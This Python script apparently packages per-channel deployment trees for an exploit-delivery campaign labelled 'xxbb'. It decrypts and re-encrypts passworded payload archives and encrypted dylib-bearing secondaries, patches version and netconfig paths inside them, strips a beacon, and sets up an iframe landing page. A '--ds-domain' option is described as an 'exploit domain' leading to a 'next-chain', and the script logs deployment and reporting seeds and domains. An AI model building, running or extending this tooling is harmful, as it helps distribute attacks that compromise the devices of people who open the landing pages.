hashbro
395 lines
15 KiB
Python
395 lines
15 KiB
Python
#!/usr/bin/env python3
|
|
"""Pack a per-channel exclusive tree under public/channel/{ver}/.
|
|
|
|
Requires `tools/build.py --apply` first (shared staged weifile + public/details).
|
|
|
|
1. Copy public/details + staged weifile
|
|
2. Patch corepayload `2.2.66` -> channel ver (same length)
|
|
3. Patch corepayload `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes; netconfig)
|
|
4. Rewrite show.html asset URLs to /channel/{ver}/details/...
|
|
5. Patch secondary `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes)
|
|
6. Strip iptj beacon from payload; install script-embed index.js boot
|
|
7. Write to {artifact-root}/channel/{ver}/
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import argparse
|
|
import hashlib
|
|
import json
|
|
import re
|
|
import shutil
|
|
import sys
|
|
import tempfile
|
|
from pathlib import Path
|
|
|
|
import build as xxbb_build
|
|
|
|
_EMBED_DIR = Path(__file__).resolve().parents[2] / "channel-embed"
|
|
if str(_EMBED_DIR) not in sys.path:
|
|
sys.path.insert(0, str(_EMBED_DIR))
|
|
from embed_boot import apply_embed_boot # noqa: E402
|
|
from _details_pack import extract_member, make_passworded_7z
|
|
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
|
|
|
|
RESULT_MARKER = xxbb_build.RESULT_MARKER
|
|
WEIFILE_ROOT = xxbb_build.WEIFILE_ROOT
|
|
DETAILS_ROOT = xxbb_build.DETAILS_ROOT
|
|
LAB_SEEDS_NAME = xxbb_build.LAB_SEEDS_NAME
|
|
CORE_WIRE_NAME = xxbb_build.CORE_WIRE_NAME
|
|
CORE_MEMBER_NAME = xxbb_build.CORE_MEMBER_NAME
|
|
SHOW_WIRE_NAME = xxbb_build.SHOW_WIRE_NAME
|
|
SHOW_MEMBER_NAME = xxbb_build.SHOW_MEMBER_NAME
|
|
ORIGINAL_VER = "2.2.66"
|
|
SHOW_PATH_OLD = b"/details/show.html"
|
|
# equal length (18): /c/X.Y.ZZ/show.htm
|
|
SHOW_PATH_TMPL = "/c/{ver}/show.htm"
|
|
CHANNEL_VER_RE = re.compile(r"^[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}$")
|
|
IPTJ_TAIL_RE = re.compile(
|
|
r",function\(\)\{\[67,72,77,75,54,73,71,48,56,70,52,50,52,57,54,67,50,50\]"
|
|
r".*?\},2e3\)\}\(\);",
|
|
re.S,
|
|
)
|
|
|
|
|
|
def normalize_channel_ver(value: str) -> str:
|
|
ver = (value or "").strip().upper()
|
|
if not CHANNEL_VER_RE.fullmatch(ver):
|
|
raise SystemExit(
|
|
f"--channel-ver must match X.Y.ZZ (6 chars, alnum+dots) like {ORIGINAL_VER!r} (got {value!r})"
|
|
)
|
|
return ver
|
|
|
|
|
|
def staged_weifile_dir(state_root: Path) -> Path:
|
|
return state_root / "out" / WEIFILE_ROOT
|
|
|
|
|
|
def sha256_hex(data: bytes) -> str:
|
|
return hashlib.sha256(data).hexdigest()
|
|
|
|
|
|
def patch_ver_in_bytes(data: bytes, ver: str, *, label: str) -> bytes:
|
|
old = ORIGINAL_VER.encode("ascii")
|
|
new = ver.encode("ascii")
|
|
if len(old) != len(new):
|
|
raise SystemExit(f"{label}: ver length mismatch {len(old)} vs {len(new)}")
|
|
count = data.count(old)
|
|
if count < 1:
|
|
raise SystemExit(f"{label}: missing {ORIGINAL_VER!r} to patch")
|
|
return data.replace(old, new)
|
|
|
|
|
|
def patch_show_path_in_bytes(data: bytes, ver: str, *, label: str) -> bytes:
|
|
"""Equal-length rewrite of netconfig path /details/show.html -> /c/{ver}/show.htm."""
|
|
new_path = SHOW_PATH_TMPL.format(ver=ver).encode("ascii")
|
|
if len(new_path) != len(SHOW_PATH_OLD):
|
|
raise SystemExit(f"{label}: show path length {len(new_path)} != {len(SHOW_PATH_OLD)}")
|
|
count = data.count(SHOW_PATH_OLD)
|
|
if count < 1:
|
|
raise SystemExit(f"{label}: missing {SHOW_PATH_OLD!r}")
|
|
return data.replace(SHOW_PATH_OLD, new_path)
|
|
|
|
|
|
def patch_corepayload_wire(wire: bytes, ver: str) -> tuple[bytes, dict]:
|
|
member, plain = extract_member(wire)
|
|
if member != CORE_MEMBER_NAME:
|
|
raise SystemExit(f"unexpected core member {member!r}")
|
|
patched = patch_ver_in_bytes(plain, ver, label=CORE_MEMBER_NAME)
|
|
show_hits = patched.count(SHOW_PATH_OLD)
|
|
patched = patch_show_path_in_bytes(patched, ver, label=CORE_MEMBER_NAME)
|
|
digest = sha256_hex(patched)
|
|
new_wire = make_passworded_7z(CORE_MEMBER_NAME, patched)
|
|
return new_wire, {
|
|
"sha256": digest,
|
|
"size": len(patched),
|
|
"ver_hits": patched.count(ver.encode()),
|
|
"show_path_hits": show_hits,
|
|
}
|
|
|
|
|
|
def rewrite_show_urls(config_bytes: bytes, *, ver: str, core_sha256: str, core_size: int) -> bytes:
|
|
doc = json.loads(config_bytes.decode("utf-8"))
|
|
if not isinstance(doc, dict) or not isinstance(doc.get("core"), dict):
|
|
raise SystemExit("show data.bin: missing core object")
|
|
prefix = f"/channel/{ver}/details/"
|
|
|
|
def rewrite_url(url: str) -> str:
|
|
# http://host/details/foo.js -> http://host/channel/{ver}/details/foo.js
|
|
return re.sub(r"(/details/)", f"/channel/{ver}/details/", url, count=1)
|
|
|
|
core = doc["core"]
|
|
if isinstance(core.get("url"), str):
|
|
core["url"] = rewrite_url(core["url"])
|
|
core["sha256"] = core_sha256
|
|
core["size"] = core_size
|
|
for entry in doc.get("entries") or []:
|
|
if isinstance(entry, dict) and isinstance(entry.get("url"), str):
|
|
entry["url"] = rewrite_url(entry["url"])
|
|
_ = prefix # documented intent
|
|
return json.dumps(doc, separators=(",", ":"), ensure_ascii=False).encode("utf-8")
|
|
|
|
|
|
def patch_show_wire(wire: bytes, *, ver: str, core_sha256: str, core_size: int) -> bytes:
|
|
member, plain = extract_member(wire)
|
|
if member != SHOW_MEMBER_NAME:
|
|
raise SystemExit(f"unexpected show member {member!r}")
|
|
updated = rewrite_show_urls(plain, ver=ver, core_sha256=core_sha256, core_size=core_size)
|
|
return make_passworded_7z(SHOW_MEMBER_NAME, updated)
|
|
|
|
|
|
def patch_secondary_show_path(dylib: bytes, ver: str, *, label: str) -> bytes:
|
|
# One occurrence per secondary slice is enough; replace first only.
|
|
new_path = SHOW_PATH_TMPL.format(ver=ver).encode("ascii")
|
|
if len(new_path) != len(SHOW_PATH_OLD):
|
|
raise SystemExit(f"{label}: show path length {len(new_path)} != {len(SHOW_PATH_OLD)}")
|
|
if SHOW_PATH_OLD not in dylib:
|
|
raise SystemExit(f"{label}: missing {SHOW_PATH_OLD!r}")
|
|
return dylib.replace(SHOW_PATH_OLD, new_path, 1)
|
|
|
|
|
|
def patch_weifile_secondaries(weifile_dir: Path, ver: str) -> int:
|
|
keys = xxbb_build.load_keys()
|
|
patched = 0
|
|
for stem, info in keys["stems"].items():
|
|
# build.py stages patched secondaries as {stem}.min.js
|
|
path = weifile_dir / f"{stem}.min.js"
|
|
if not path.is_file():
|
|
path = weifile_dir / f"{stem}.js"
|
|
if not path.is_file():
|
|
continue
|
|
key = bytes.fromhex(info["key"])
|
|
try:
|
|
dylib = decrypt_secondary_minjs(path.read_bytes(), key)
|
|
except Exception as exc:
|
|
raise SystemExit(f"{path.name}: decrypt failed: {exc}") from exc
|
|
if SHOW_PATH_OLD not in dylib:
|
|
continue
|
|
dylib = patch_secondary_show_path(dylib, ver, label=stem)
|
|
path.write_bytes(encrypt_secondary_minjs(dylib, key))
|
|
patched += 1
|
|
if patched < 1:
|
|
raise SystemExit(
|
|
"no secondary packs contained /details/show.html "
|
|
f"(looked under {weifile_dir} for *.min.js)"
|
|
)
|
|
return patched
|
|
|
|
|
|
def strip_iptj_beacon(index_js: str) -> str:
|
|
if not IPTJ_TAIL_RE.search(index_js):
|
|
# already stripped or unexpected layout — allow missing during rebuilds
|
|
if "channelCode" in index_js or "__iptj_sid" in index_js:
|
|
raise SystemExit("index.js: iptj beacon present but pattern mismatch")
|
|
return index_js
|
|
return IPTJ_TAIL_RE.sub(";", index_js, count=1)
|
|
|
|
|
|
def inject_tjs(weifile_html: str) -> str:
|
|
# Must match /t.js, not the substring inside boot.js.
|
|
if re.search(r"""src=["']/t\.js["']""", weifile_html):
|
|
return weifile_html
|
|
snippet = '<script src="/t.js" defer></script>\n'
|
|
if "</head>" in weifile_html:
|
|
return weifile_html.replace("</head>", snippet + "</head>", 1)
|
|
return snippet + weifile_html
|
|
|
|
|
|
LANDING_TEMPLATES = ("test", "blank")
|
|
DEFAULT_LANDING_TEMPLATE = "blank"
|
|
LANDING_TEMPLATE_ROOT = xxbb_build.BUILDER_ROOT / "source" / "weifile" / "templates"
|
|
|
|
|
|
def normalize_landing_template(value: str | None) -> str:
|
|
template = (value or DEFAULT_LANDING_TEMPLATE).strip().lower()
|
|
if template not in LANDING_TEMPLATES:
|
|
raise SystemExit(
|
|
f"--landing-template must be one of: {', '.join(LANDING_TEMPLATES)} (got {value!r})"
|
|
)
|
|
return template
|
|
|
|
|
|
def apply_landing_template(weifile_dir: Path, template: str) -> Path:
|
|
template = normalize_landing_template(template)
|
|
src = LANDING_TEMPLATE_ROOT / f"{template}.html"
|
|
if not src.is_file():
|
|
raise SystemExit(f"missing landing template: {src}")
|
|
dest = weifile_dir / "weifile.html"
|
|
dest.write_text(src.read_text(encoding="utf-8"), encoding="utf-8")
|
|
return dest
|
|
|
|
|
|
def copy_details_tree(src: Path, dest: Path) -> None:
|
|
if dest.exists():
|
|
shutil.rmtree(dest)
|
|
skip = {"_bak", "__pycache__", ".DS_Store", "README.md"}
|
|
shutil.copytree(
|
|
src,
|
|
dest,
|
|
symlinks=False,
|
|
ignore=lambda _d, names: {n for n in names if n in skip or n.endswith(".pyc")},
|
|
)
|
|
|
|
|
|
def pack_channel(
|
|
*,
|
|
channel_ver: str,
|
|
weifile_src: Path,
|
|
details_src: Path,
|
|
channel_out: Path,
|
|
landing_template: str = DEFAULT_LANDING_TEMPLATE,
|
|
ds_domain: str = "",
|
|
) -> dict:
|
|
ver = normalize_channel_ver(channel_ver)
|
|
landing_template = normalize_landing_template(landing_template)
|
|
if not (weifile_src / "index.js").is_file():
|
|
raise SystemExit(f"staged weifile missing ({weifile_src / 'index.js'}). Run build.py --apply")
|
|
if not (details_src / CORE_WIRE_NAME).is_file():
|
|
raise SystemExit(f"details missing ({details_src / CORE_WIRE_NAME}). Run build.py --apply")
|
|
|
|
with tempfile.TemporaryDirectory() as tmp:
|
|
root = Path(tmp) / "channel"
|
|
details_dest = root / DETAILS_ROOT
|
|
weifile_dest = root / WEIFILE_ROOT
|
|
copy_details_tree(details_src, details_dest)
|
|
xxbb_build.copy_tree(weifile_src, weifile_dest)
|
|
# Drop template sources from the published tree if build copied them.
|
|
templates_dir = weifile_dest / "templates"
|
|
if templates_dir.is_dir():
|
|
shutil.rmtree(templates_dir)
|
|
|
|
core_meta: dict
|
|
core_path = details_dest / CORE_WIRE_NAME
|
|
core_wire, core_meta = patch_corepayload_wire(core_path.read_bytes(), ver)
|
|
core_path.write_bytes(core_wire)
|
|
|
|
show_path = details_dest / SHOW_WIRE_NAME
|
|
show_path.write_bytes(
|
|
patch_show_wire(
|
|
show_path.read_bytes(),
|
|
ver=ver,
|
|
core_sha256=core_meta["sha256"],
|
|
core_size=core_meta["size"],
|
|
)
|
|
)
|
|
|
|
secondary_hits = patch_weifile_secondaries(weifile_dest, ver)
|
|
|
|
index_path = weifile_dest / "index.js"
|
|
index_path.write_text(
|
|
strip_iptj_beacon(index_path.read_text(encoding="utf-8")),
|
|
encoding="utf-8",
|
|
)
|
|
apply_landing_template(weifile_dest, landing_template)
|
|
# Replace __DS_DOMAIN__ placeholder in weifile.html with the provided
|
|
# DS domain (e.g. https://ds.example.com) or empty string for relative path.
|
|
weifile_html_path = weifile_dest / "weifile.html"
|
|
if weifile_html_path.is_file():
|
|
raw = weifile_html_path.read_text(encoding="utf-8")
|
|
raw = raw.replace("__DS_DOMAIN__", ds_domain)
|
|
weifile_html_path.write_text(raw, encoding="utf-8")
|
|
leftover_route = weifile_dest / "route.js"
|
|
if leftover_route.is_file():
|
|
leftover_route.unlink()
|
|
apply_embed_boot(
|
|
weifile_dest,
|
|
channel_code=ver,
|
|
ds_domain=ds_domain,
|
|
)
|
|
|
|
if channel_out.exists():
|
|
shutil.rmtree(channel_out)
|
|
channel_out.parent.mkdir(parents=True, exist_ok=True)
|
|
shutil.copytree(root, channel_out)
|
|
|
|
return {
|
|
"campaign": "xxbb",
|
|
"builder_type": "new",
|
|
"channel_ver": ver,
|
|
"channel_id": ver,
|
|
"channel_dir": str(channel_out),
|
|
"landing_path": f"/channel/{ver}/weifile/weifile.html",
|
|
"landing_template": landing_template,
|
|
"ds_domain": ds_domain,
|
|
"details_path": f"/channel/{ver}/details/",
|
|
"show_alias": SHOW_PATH_TMPL.format(ver=ver),
|
|
"core_sha256": core_meta["sha256"],
|
|
"core_ver_hits": core_meta["ver_hits"],
|
|
"core_show_path_hits": core_meta["show_path_hits"],
|
|
"secondary_show_patches": secondary_hits,
|
|
}
|
|
|
|
|
|
def main() -> int:
|
|
parser = argparse.ArgumentParser(
|
|
description=f"Pack exclusive channel tree into public/channel/{{ver}}/ (ver like {ORIGINAL_VER})"
|
|
)
|
|
parser.add_argument(
|
|
"--channel-ver",
|
|
required=True,
|
|
help="channel id / ver patch string, X.Y.ZZ alnum (e.g. 2.2.66 or A.B.C1)",
|
|
)
|
|
parser.add_argument("--state-root", type=Path, default=None)
|
|
parser.add_argument("--weifile-src", type=Path, default=None)
|
|
parser.add_argument(
|
|
"--details-src",
|
|
type=Path,
|
|
default=None,
|
|
help="built details dir (default: <artifact-root>/details)",
|
|
)
|
|
parser.add_argument(
|
|
"--channel-out",
|
|
type=Path,
|
|
required=True,
|
|
help="output directory e.g. public/channel/A.B.C1",
|
|
)
|
|
parser.add_argument(
|
|
"--landing-template",
|
|
default=DEFAULT_LANDING_TEMPLATE,
|
|
choices=LANDING_TEMPLATES,
|
|
help="weifile.html template: test=loading countdown, blank=empty (default: blank)",
|
|
)
|
|
parser.add_argument(
|
|
"--ds-domain",
|
|
default="",
|
|
help="DS exploit domain for weifile iframe (e.g. https://ds.example.com). "
|
|
"Empty = relative /next-chain/ (default)",
|
|
)
|
|
args = parser.parse_args()
|
|
|
|
state_root = (args.state_root or xxbb_build.default_state_root()).resolve()
|
|
artifact_root = xxbb_build.default_artifact_root().resolve()
|
|
weifile_src = (args.weifile_src or staged_weifile_dir(state_root)).resolve()
|
|
details_src = (args.details_src or (artifact_root / DETAILS_ROOT)).resolve()
|
|
channel_out = args.channel_out.resolve()
|
|
|
|
result = pack_channel(
|
|
channel_ver=args.channel_ver,
|
|
weifile_src=weifile_src,
|
|
details_src=details_src,
|
|
channel_out=channel_out,
|
|
landing_template=args.landing_template,
|
|
ds_domain=args.ds_domain,
|
|
)
|
|
seeds_path = state_root / LAB_SEEDS_NAME
|
|
if seeds_path.is_file():
|
|
try:
|
|
seeds = json.loads(seeds_path.read_text())
|
|
if isinstance(seeds, dict):
|
|
result["seeds"] = {
|
|
"deployment_seed": seeds.get("deployment_seed"),
|
|
"reporting_seed": seeds.get("reporting_seed"),
|
|
"channel_c": seeds.get("channel_c"),
|
|
}
|
|
result["domains"] = seeds.get("domains") or {"deployment": [], "reporting": []}
|
|
except json.JSONDecodeError:
|
|
pass
|
|
|
|
print(f"packed {result['channel_ver']} -> {channel_out}")
|
|
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")))
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|